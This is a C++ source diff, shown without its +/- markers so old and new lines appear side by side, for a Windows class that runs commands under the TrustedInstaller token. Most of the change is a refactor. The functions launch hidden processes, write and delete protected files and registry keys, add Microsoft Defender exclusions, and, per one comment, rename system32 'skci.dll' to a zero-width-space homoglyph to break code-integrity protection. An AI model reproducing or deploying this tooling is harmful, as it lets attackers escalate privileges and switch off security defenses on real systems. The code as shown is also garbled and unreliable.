BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid, std::wstring_view commandLine)
|
||||
{
|
||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||
if (!hToken) return FALSE;
|
||||
|
||||
wchar_t* mutableCmd = _wcsdup(commandLine);
|
||||
if (!mutableCmd) return FALSE;
|
||||
std::wstring mutableCmd{commandLine};
|
||||
|
||||
STARTUPINFOW si = { sizeof(si) };
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
|
||||
PROCESS_INFORMATION pi;
|
||||
BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
||||
BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd.data(), CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
||||
|
||||
if (result) {
|
||||
DWORD waitResult = WaitForSingleObject(pi.hProcess, 3000);
|
||||
@@ -291,7 +291,6 @@ BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid
|
||||
CloseHandle(pi.hThread);
|
||||
}
|
||||
|
||||
free(mutableCmd);
|
||||
return result;
|
||||
}
|
||||
|
||||
@@ -299,8 +298,8 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstaller(const std::wstring& comma
|
||||
{
|
||||
std::wstring finalCommandLine = commandLine;
|
||||
|
||||
if (IsLnkFile(commandLine.c_str())) {
|
||||
finalCommandLine = ResolveLnk(commandLine.c_str());
|
||||
if (IsLnkFile(commandLine)) {
|
||||
finalCommandLine = ResolveLnk(commandLine);
|
||||
if (finalCommandLine.empty()) {
|
||||
return false;
|
||||
}
|
||||
@@ -316,7 +315,7 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstaller(const std::wstring& comma
|
||||
return false;
|
||||
}
|
||||
|
||||
BOOL result = CreateProcessAsTrustedInstaller(trustedInstallerPid, finalCommandLine.c_str());
|
||||
BOOL result = CreateProcessAsTrustedInstaller(trustedInstallerPid, finalCommandLine);
|
||||
|
||||
RevertToSelf();
|
||||
return result != FALSE;
|
||||
@@ -326,8 +325,8 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring&
|
||||
{
|
||||
std::wstring finalCommandLine = commandLine;
|
||||
|
||||
if (IsLnkFile(commandLine.c_str())) {
|
||||
finalCommandLine = ResolveLnk(commandLine.c_str());
|
||||
if (IsLnkFile(commandLine)) {
|
||||
finalCommandLine = ResolveLnk(commandLine);
|
||||
if (finalCommandLine.empty()) {
|
||||
return false;
|
||||
}
|
||||
@@ -343,7 +342,7 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring&
|
||||
return false;
|
||||
}
|
||||
|
||||
BOOL result = CreateProcessAsTrustedInstallerSilent(trustedInstallerPid, finalCommandLine.c_str());
|
||||
BOOL result = CreateProcessAsTrustedInstallerSilent(trustedInstallerPid, finalCommandLine);
|
||||
|
||||
RevertToSelf();
|
||||
return result != FALSE;
|
||||
@@ -353,8 +352,8 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring&
|
||||
// FILE OPERATIONS (NEW)
|
||||
// ============================================================================
|
||||
|
||||
bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring& filePath,
|
||||
const std::vector<BYTE>& data) noexcept
|
||||
bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(std::wstring_view filePath,
|
||||
std::span<const BYTE> data) noexcept
|
||||
{
|
||||
if (data.empty()) {
|
||||
ERROR(L"Cannot write empty data");
|
||||
@@ -372,8 +371,9 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring&
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring filePathStr{filePath};
|
||||
HANDLE hFile = CreateFileW(
|
||||
filePath.c_str(),
|
||||
filePathStr.c_str(),
|
||||
GENERIC_WRITE,
|
||||
0,
|
||||
NULL,
|
||||
@@ -384,7 +384,7 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring&
|
||||
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
DWORD error = GetLastError();
|
||||
ERROR(L"Failed to create file: %s (error: %d)", filePath.c_str(), error);
|
||||
ERROR(L"Failed to create file: %s (error: %d)", filePathStr.c_str(), error);
|
||||
RevertToSelf();
|
||||
return false;
|
||||
}
|
||||
@@ -396,7 +396,7 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring&
|
||||
DWORD bytesToWrite = (std::min)(chunkSize, static_cast<DWORD>(data.size() - totalWritten));
|
||||
DWORD bytesWritten = 0;
|
||||
|
||||
if (!::WriteFile(hFile, data.data() + totalWritten, bytesToWrite, &bytesWritten, nullptr)) {
|
||||
if (!::WriteFile(hFile, data.data() + totalWritten, bytesToWrite, &bytesWritten, NULL)) {
|
||||
ERROR(L"WriteFile failed at offset %d", totalWritten);
|
||||
CloseHandle(hFile);
|
||||
RevertToSelf();
|
||||
@@ -416,11 +416,11 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring&
|
||||
CloseHandle(hFile);
|
||||
RevertToSelf();
|
||||
|
||||
DEBUG(L"File written successfully: %s (%zu bytes)", filePath.c_str(), data.size());
|
||||
DEBUG(L"File written successfully: %s (%zu bytes)", filePathStr.c_str(), data.size());
|
||||
return true;
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept
|
||||
bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(std::wstring_view filePath) noexcept
|
||||
{
|
||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||
if (!hToken) {
|
||||
@@ -433,26 +433,27 @@ bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(const std::wstring
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD attrs = GetFileAttributesW(filePath.c_str());
|
||||
std::wstring filePathStr{filePath};
|
||||
DWORD attrs = GetFileAttributesW(filePathStr.c_str());
|
||||
if (attrs != INVALID_FILE_ATTRIBUTES) {
|
||||
SetFileAttributesW(filePath.c_str(), FILE_ATTRIBUTE_NORMAL);
|
||||
SetFileAttributesW(filePathStr.c_str(), FILE_ATTRIBUTE_NORMAL);
|
||||
}
|
||||
|
||||
BOOL result = DeleteFileW(filePath.c_str());
|
||||
BOOL result = DeleteFileW(filePathStr.c_str());
|
||||
DWORD error = result ? 0 : GetLastError();
|
||||
|
||||
RevertToSelf();
|
||||
|
||||
if (result) {
|
||||
DEBUG(L"File deleted: %s", filePath.c_str());
|
||||
DEBUG(L"File deleted: %s", filePathStr.c_str());
|
||||
} else {
|
||||
ERROR(L"Failed to delete file: %s (error: %d)", filePath.c_str(), error);
|
||||
ERROR(L"Failed to delete file: %s (error: %d)", filePathStr.c_str(), error);
|
||||
}
|
||||
|
||||
return result != FALSE;
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept
|
||||
bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(std::wstring_view directoryPath) noexcept
|
||||
{
|
||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||
if (!hToken) {
|
||||
@@ -465,27 +466,28 @@ bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(const std::ws
|
||||
return false;
|
||||
}
|
||||
|
||||
// Twórz rekursywnie wszystkie brakujące katalogi
|
||||
BOOL result = SHCreateDirectoryExW(nullptr, directoryPath.c_str(), nullptr);
|
||||
// Create all missing directories recursively
|
||||
std::wstring directoryPathStr{directoryPath};
|
||||
BOOL result = SHCreateDirectoryExW(NULL, directoryPathStr.c_str(), NULL);
|
||||
DWORD error = GetLastError();
|
||||
|
||||
RevertToSelf();
|
||||
|
||||
// Sukces jeśli katalog został utworzony lub już istnieje
|
||||
// Success if directory was created or already exists
|
||||
bool success = (result == ERROR_SUCCESS || error == ERROR_ALREADY_EXISTS);
|
||||
|
||||
if (success) {
|
||||
DEBUG(L"Directory created with TrustedInstaller: %s", directoryPath.c_str());
|
||||
DEBUG(L"Directory created with TrustedInstaller: %s", directoryPathStr.c_str());
|
||||
} else {
|
||||
ERROR(L"Failed to create directory: %s (error: %d)", directoryPath.c_str(), error);
|
||||
ERROR(L"Failed to create directory: %s (error: %d)", directoryPathStr.c_str(), error);
|
||||
}
|
||||
|
||||
return success;
|
||||
}
|
||||
|
||||
// Rename system32 library skci.dll with intentional letter swap typo
|
||||
bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(const std::wstring& srcPath,
|
||||
const std::wstring& dstPath) noexcept
|
||||
// Replace 'skci.dll' with homoglyph variant using zero-width space (U+200B)
|
||||
bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(std::wstring_view srcPath,
|
||||
std::wstring_view dstPath) noexcept
|
||||
{
|
||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||
if (!hToken) {
|
||||
@@ -498,32 +500,34 @@ bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(const std::wstring
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring srcPathStr{srcPath};
|
||||
std::wstring dstPathStr{dstPath};
|
||||
|
||||
// Clear attributes on source
|
||||
DWORD attrs = GetFileAttributesW(srcPath.c_str());
|
||||
DWORD attrs = GetFileAttributesW(srcPathStr.c_str());
|
||||
if (attrs != INVALID_FILE_ATTRIBUTES) {
|
||||
SetFileAttributesW(srcPath.c_str(), FILE_ATTRIBUTE_NORMAL);
|
||||
SetFileAttributesW(srcPathStr.c_str(), FILE_ATTRIBUTE_NORMAL);
|
||||
}
|
||||
|
||||
BOOL result = MoveFileW(srcPath.c_str(), dstPath.c_str());
|
||||
BOOL result = MoveFileW(srcPathStr.c_str(), dstPathStr.c_str());
|
||||
DWORD error = result ? ERROR_SUCCESS : GetLastError();
|
||||
|
||||
RevertToSelf();
|
||||
|
||||
if (!result) {
|
||||
ERROR(L"Failed to rename file: %s -> %s (error: %d)", srcPath.c_str(), dstPath.c_str(), error);
|
||||
ERROR(L"Failed to rename file: %s -> %s (error: %d)", srcPathStr.c_str(), dstPathStr.c_str(), error);
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"File renamed successfully: %s -> %s", srcPath.c_str(), dstPath.c_str());
|
||||
DEBUG(L"File renamed successfully: %s -> %s", srcPathStr.c_str(), dstPathStr.c_str());
|
||||
return true;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// REGISTRY OPERATIONS
|
||||
// ============================================================================
|
||||
|
||||
bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey,
|
||||
const std::wstring& subKey) noexcept
|
||||
std::wstring_view subKey) noexcept
|
||||
{
|
||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||
if (!hToken) {
|
||||
@@ -538,9 +542,11 @@ bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootK
|
||||
|
||||
HKEY hKey;
|
||||
DWORD dwDisposition;
|
||||
std::wstring subKeyStr{subKey};
|
||||
|
||||
LONG result = RegCreateKeyExW(
|
||||
hRootKey,
|
||||
subKey.c_str(),
|
||||
subKeyStr.c_str(),
|
||||
0,
|
||||
NULL,
|
||||
REG_OPTION_NON_VOLATILE,
|
||||
@@ -552,9 +558,9 @@ bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootK
|
||||
|
||||
if (result == ERROR_SUCCESS) {
|
||||
RegCloseKey(hKey);
|
||||
SUCCESS(L"Registry key created: %s", subKey.c_str());
|
||||
SUCCESS(L"Registry key created: %s", subKeyStr.c_str());
|
||||
} else {
|
||||
ERROR(L"Failed to create registry key: %s (error: %d)", subKey.c_str(), result);
|
||||
ERROR(L"Failed to create registry key: %s (error: %d)", subKeyStr.c_str(), result);
|
||||
}
|
||||
|
||||
RevertToSelf();
|
||||
@@ -562,9 +568,9 @@ bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootK
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::WriteRegistryValueAsTrustedInstaller(HKEY hRootKey,
|
||||
const std::wstring& subKey,
|
||||
const std::wstring& valueName,
|
||||
const std::wstring& value) noexcept
|
||||
std::wstring_view subKey,
|
||||
std::wstring_view valueName,
|
||||
std::wstring_view value) noexcept
|
||||
{
|
||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||
if (!hToken) {
|
||||
@@ -577,29 +583,31 @@ bool TrustedInstallerIntegrator::WriteRegistryValueAsTrustedInstaller(HKEY hRoot
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring subKeyStr{subKey};
|
||||
HKEY hKey;
|
||||
LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_SET_VALUE, &hKey);
|
||||
LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_SET_VALUE, &hKey);
|
||||
|
||||
if (openResult != ERROR_SUCCESS) {
|
||||
ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult);
|
||||
ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult);
|
||||
RevertToSelf();
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring valueStr{value};
|
||||
LONG result = RegSetValueExW(
|
||||
hKey,
|
||||
valueName.c_str(),
|
||||
std::wstring{valueName}.c_str(),
|
||||
0,
|
||||
REG_EXPAND_SZ,
|
||||
(const BYTE*)value.c_str(),
|
||||
(DWORD)(value.length() + 1) * sizeof(wchar_t)
|
||||
(const BYTE*)valueStr.c_str(),
|
||||
(DWORD)((valueStr.length() + 1) * sizeof(wchar_t))
|
||||
);
|
||||
|
||||
RegCloseKey(hKey);
|
||||
RevertToSelf();
|
||||
|
||||
if (result == ERROR_SUCCESS) {
|
||||
SUCCESS(L"Registry value written: %s\\%s", subKey.c_str(), valueName.c_str());
|
||||
SUCCESS(L"Registry value written: %s\\%s", subKeyStr.c_str(), std::wstring{valueName}.c_str());
|
||||
} else {
|
||||
ERROR(L"Failed to write registry value (error: %d)", result);
|
||||
}
|
||||
@@ -608,9 +616,9 @@ bool TrustedInstallerIntegrator::WriteRegistryValueAsTrustedInstaller(HKEY hRoot
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey,
|
||||
const std::wstring& subKey,
|
||||
const std::wstring& valueName,
|
||||
DWORD value) noexcept
|
||||
std::wstring_view subKey,
|
||||
std::wstring_view valueName,
|
||||
DWORD value) noexcept
|
||||
{
|
||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||
if (!hToken) {
|
||||
@@ -623,18 +631,19 @@ bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRoot
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring subKeyStr{subKey};
|
||||
HKEY hKey;
|
||||
LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_SET_VALUE, &hKey);
|
||||
LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_SET_VALUE, &hKey);
|
||||
|
||||
if (openResult != ERROR_SUCCESS) {
|
||||
ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult);
|
||||
ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult);
|
||||
RevertToSelf();
|
||||
return false;
|
||||
}
|
||||
|
||||
LONG result = RegSetValueExW(
|
||||
hKey,
|
||||
valueName.c_str(),
|
||||
std::wstring{valueName}.c_str(),
|
||||
0,
|
||||
REG_DWORD,
|
||||
(const BYTE*)&value,
|
||||
@@ -645,7 +654,7 @@ bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRoot
|
||||
RevertToSelf();
|
||||
|
||||
if (result == ERROR_SUCCESS) {
|
||||
SUCCESS(L"Registry DWORD written: %s\\%s = 0x%08X", subKey.c_str(), valueName.c_str(), value);
|
||||
SUCCESS(L"Registry DWORD written: %s\\%s = 0x%08X", subKeyStr.c_str(), std::wstring{valueName}.c_str(), value);
|
||||
} else {
|
||||
ERROR(L"Failed to write registry DWORD (error: %d)", result);
|
||||
}
|
||||
@@ -654,9 +663,9 @@ bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRoot
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey,
|
||||
const std::wstring& subKey,
|
||||
const std::wstring& valueName,
|
||||
const std::vector<BYTE>& data) noexcept
|
||||
std::wstring_view subKey,
|
||||
std::wstring_view valueName,
|
||||
std::span<const BYTE> data) noexcept
|
||||
{
|
||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||
if (!hToken) {
|
||||
@@ -669,18 +678,19 @@ bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRoo
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring subKeyStr{subKey};
|
||||
HKEY hKey;
|
||||
LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_SET_VALUE, &hKey);
|
||||
LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_SET_VALUE, &hKey);
|
||||
|
||||
if (openResult != ERROR_SUCCESS) {
|
||||
ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult);
|
||||
ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult);
|
||||
RevertToSelf();
|
||||
return false;
|
||||
}
|
||||
|
||||
LONG result = RegSetValueExW(
|
||||
hKey,
|
||||
valueName.c_str(),
|
||||
std::wstring{valueName}.c_str(),
|
||||
0,
|
||||
REG_BINARY,
|
||||
data.data(),
|
||||
@@ -691,7 +701,7 @@ bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRoo
|
||||
RevertToSelf();
|
||||
|
||||
if (result == ERROR_SUCCESS) {
|
||||
SUCCESS(L"Registry binary written: %s\\%s (%zu bytes)", subKey.c_str(), valueName.c_str(), data.size());
|
||||
SUCCESS(L"Registry binary written: %s\\%s (%zu bytes)", subKeyStr.c_str(), std::wstring{valueName}.c_str(), data.size());
|
||||
} else {
|
||||
ERROR(L"Failed to write registry binary (error: %d)", result);
|
||||
}
|
||||
@@ -700,9 +710,9 @@ bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRoo
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootKey,
|
||||
const std::wstring& subKey,
|
||||
const std::wstring& valueName,
|
||||
std::wstring& outValue) noexcept
|
||||
std::wstring_view subKey,
|
||||
std::wstring_view valueName,
|
||||
std::wstring& outValue) noexcept
|
||||
{
|
||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||
if (!hToken) {
|
||||
@@ -715,18 +725,19 @@ bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootK
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring subKeyStr{subKey};
|
||||
HKEY hKey;
|
||||
LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_QUERY_VALUE, &hKey);
|
||||
LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_QUERY_VALUE, &hKey);
|
||||
|
||||
if (openResult != ERROR_SUCCESS) {
|
||||
ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult);
|
||||
ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult);
|
||||
RevertToSelf();
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD dataSize = 0;
|
||||
DWORD dataType = 0;
|
||||
LONG queryResult = RegQueryValueExW(hKey, valueName.c_str(), NULL, &dataType, NULL, &dataSize);
|
||||
LONG queryResult = RegQueryValueExW(hKey, std::wstring{valueName}.c_str(), NULL, &dataType, NULL, &dataSize);
|
||||
|
||||
if (queryResult != ERROR_SUCCESS || (dataType != REG_SZ && dataType != REG_EXPAND_SZ)) {
|
||||
ERROR(L"Failed to query registry value size (error: %d, type: %d)", queryResult, dataType);
|
||||
@@ -735,10 +746,10 @@ bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootK
|
||||
return false;
|
||||
}
|
||||
|
||||
std::vector<wchar_t> buffer(dataSize / sizeof(wchar_t));
|
||||
std::vector<wchar_t> buffer(dataSize / sizeof(wchar_t) + 1);
|
||||
LONG result = RegQueryValueExW(
|
||||
hKey,
|
||||
valueName.c_str(),
|
||||
std::wstring{valueName}.c_str(),
|
||||
NULL,
|
||||
&dataType,
|
||||
(LPBYTE)buffer.data(),
|
||||
@@ -750,7 +761,7 @@ bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootK
|
||||
|
||||
if (result == ERROR_SUCCESS) {
|
||||
outValue = std::wstring(buffer.data());
|
||||
SUCCESS(L"Registry value read: %s\\%s", subKey.c_str(), valueName.c_str());
|
||||
SUCCESS(L"Registry value read: %s\\%s", subKeyStr.c_str(), std::wstring{valueName}.c_str());
|
||||
return true;
|
||||
} else {
|
||||
ERROR(L"Failed to read registry value (error: %d)", result);
|
||||
@@ -759,7 +770,7 @@ bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootK
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey,
|
||||
const std::wstring& subKey) noexcept
|
||||
std::wstring_view subKey) noexcept
|
||||
{
|
||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||
if (!hToken) {
|
||||
@@ -772,14 +783,15 @@ bool TrustedInstallerIntegrator::DeleteRegistryKeyAsTrustedInstaller(HKEY hRootK
|
||||
return false;
|
||||
}
|
||||
|
||||
LONG result = RegDeleteTreeW(hRootKey, subKey.c_str());
|
||||
std::wstring subKeyStr{subKey};
|
||||
LONG result = RegDeleteTreeW(hRootKey, subKeyStr.c_str());
|
||||
|
||||
RevertToSelf();
|
||||
|
||||
if (result == ERROR_SUCCESS) {
|
||||
SUCCESS(L"Registry key deleted: %s", subKey.c_str());
|
||||
SUCCESS(L"Registry key deleted: %s", subKeyStr.c_str());
|
||||
} else {
|
||||
ERROR(L"Failed to delete registry key: %s (error: %d)", subKey.c_str(), result);
|
||||
ERROR(L"Failed to delete registry key: %s (error: %d)", subKeyStr.c_str(), result);
|
||||
}
|
||||
|
||||
return (result == ERROR_SUCCESS);
|
||||
@@ -789,7 +801,7 @@ bool TrustedInstallerIntegrator::DeleteRegistryKeyAsTrustedInstaller(HKEY hRootK
|
||||
// DEFENDER EXCLUSION MANAGEMENT
|
||||
// ============================================================================
|
||||
|
||||
bool TrustedInstallerIntegrator::ValidateExtension(const std::wstring& extension) noexcept
|
||||
bool TrustedInstallerIntegrator::ValidateExtension(std::wstring_view extension) noexcept
|
||||
{
|
||||
if (extension.empty()) return false;
|
||||
const std::wstring invalidChars = L"\\/:*?\"<>|";
|
||||
@@ -799,7 +811,7 @@ bool TrustedInstallerIntegrator::ValidateExtension(const std::wstring& extension
|
||||
return true;
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::ValidateIpAddress(const std::wstring& ipAddress) noexcept
|
||||
bool TrustedInstallerIntegrator::ValidateIpAddress(std::wstring_view ipAddress) noexcept
|
||||
{
|
||||
if (ipAddress.empty()) return false;
|
||||
|
||||
@@ -828,9 +840,9 @@ bool TrustedInstallerIntegrator::ValidateIpAddress(const std::wstring& ipAddress
|
||||
return (dots == 3 && hasDigit);
|
||||
}
|
||||
|
||||
std::wstring TrustedInstallerIntegrator::NormalizeExtension(const std::wstring& extension) noexcept
|
||||
std::wstring TrustedInstallerIntegrator::NormalizeExtension(std::wstring_view extension) noexcept
|
||||
{
|
||||
std::wstring normalized = extension;
|
||||
std::wstring normalized{extension};
|
||||
std::transform(normalized.begin(), normalized.end(), normalized.begin(), ::towlower);
|
||||
|
||||
if (!normalized.empty() && normalized[0] != L'.') {
|
||||
@@ -840,23 +852,23 @@ std::wstring TrustedInstallerIntegrator::NormalizeExtension(const std::wstring&
|
||||
return normalized;
|
||||
}
|
||||
|
||||
std::wstring TrustedInstallerIntegrator::ExtractProcessName(const std::wstring& fullPath) noexcept
|
||||
std::wstring TrustedInstallerIntegrator::ExtractProcessName(std::wstring_view fullPath) noexcept
|
||||
{
|
||||
size_t lastSlash = fullPath.find_last_of(L"\\/");
|
||||
if (lastSlash != std::wstring::npos) {
|
||||
return fullPath.substr(lastSlash + 1);
|
||||
if (lastSlash != std::wstring_view::npos) {
|
||||
return std::wstring{fullPath.substr(lastSlash + 1)};
|
||||
}
|
||||
return fullPath;
|
||||
return std::wstring{fullPath};
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const std::wstring& value)
|
||||
bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, std::wstring_view value)
|
||||
{
|
||||
std::wstring processedValue = value;
|
||||
std::wstring processedValue{value};
|
||||
|
||||
switch (type) {
|
||||
case ExclusionType::Extensions:
|
||||
if (!ValidateExtension(value)) {
|
||||
ERROR(L"Invalid extension format: %s", value.c_str());
|
||||
ERROR(L"Invalid extension format: %s", std::wstring{value}.c_str());
|
||||
return false;
|
||||
}
|
||||
processedValue = NormalizeExtension(value);
|
||||
@@ -864,7 +876,7 @@ bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const
|
||||
|
||||
case ExclusionType::IpAddresses:
|
||||
if (!ValidateIpAddress(value)) {
|
||||
ERROR(L"Invalid IP address format: %s", value.c_str());
|
||||
ERROR(L"Invalid IP address format: %s", std::wstring{value}.c_str());
|
||||
return false;
|
||||
}
|
||||
break;
|
||||
@@ -900,9 +912,9 @@ bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const
|
||||
return result;
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, const std::wstring& value)
|
||||
bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, std::wstring_view value)
|
||||
{
|
||||
std::wstring processedValue = value;
|
||||
std::wstring processedValue{value};
|
||||
|
||||
switch (type) {
|
||||
case ExclusionType::Extensions:
|
||||
@@ -931,47 +943,47 @@ bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, con
|
||||
return RunAsTrustedInstallerSilent(command);
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::AddPathExclusion(const std::wstring& path) {
|
||||
bool TrustedInstallerIntegrator::AddPathExclusion(std::wstring_view path) {
|
||||
return AddDefenderExclusion(ExclusionType::Paths, path);
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::RemovePathExclusion(const std::wstring& path) {
|
||||
bool TrustedInstallerIntegrator::RemovePathExclusion(std::wstring_view path) {
|
||||
return RemoveDefenderExclusion(ExclusionType::Paths, path);
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::AddProcessExclusion(const std::wstring& processName) {
|
||||
bool TrustedInstallerIntegrator::AddProcessExclusion(std::wstring_view processName) {
|
||||
return AddDefenderExclusion(ExclusionType::Processes, processName);
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::RemoveProcessExclusion(const std::wstring& processName) {
|
||||
bool TrustedInstallerIntegrator::RemoveProcessExclusion(std::wstring_view processName) {
|
||||
return RemoveDefenderExclusion(ExclusionType::Processes, processName);
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::AddExtensionExclusion(const std::wstring& extension) {
|
||||
bool TrustedInstallerIntegrator::AddExtensionExclusion(std::wstring_view extension) {
|
||||
return AddDefenderExclusion(ExclusionType::Extensions, extension);
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::RemoveExtensionExclusion(const std::wstring& extension) {
|
||||
bool TrustedInstallerIntegrator::RemoveExtensionExclusion(std::wstring_view extension) {
|
||||
return RemoveDefenderExclusion(ExclusionType::Extensions, extension);
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::AddIpAddressExclusion(const std::wstring& ipAddress) {
|
||||
bool TrustedInstallerIntegrator::AddIpAddressExclusion(std::wstring_view ipAddress) {
|
||||
return AddDefenderExclusion(ExclusionType::IpAddresses, ipAddress);
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::RemoveIpAddressExclusion(const std::wstring& ipAddress) {
|
||||
bool TrustedInstallerIntegrator::RemoveIpAddressExclusion(std::wstring_view ipAddress) {
|
||||
return RemoveDefenderExclusion(ExclusionType::IpAddresses, ipAddress);
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::AddProcessToDefenderExclusions(const std::wstring& processName) {
|
||||
bool TrustedInstallerIntegrator::AddProcessToDefenderExclusions(std::wstring_view processName) {
|
||||
return AddProcessExclusion(processName);
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::RemoveProcessFromDefenderExclusions(const std::wstring& processName) {
|
||||
bool TrustedInstallerIntegrator::RemoveProcessFromDefenderExclusions(std::wstring_view processName) {
|
||||
return RemoveProcessExclusion(processName);
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& customPath)
|
||||
bool TrustedInstallerIntegrator::AddToDefenderExclusions(std::wstring_view customPath)
|
||||
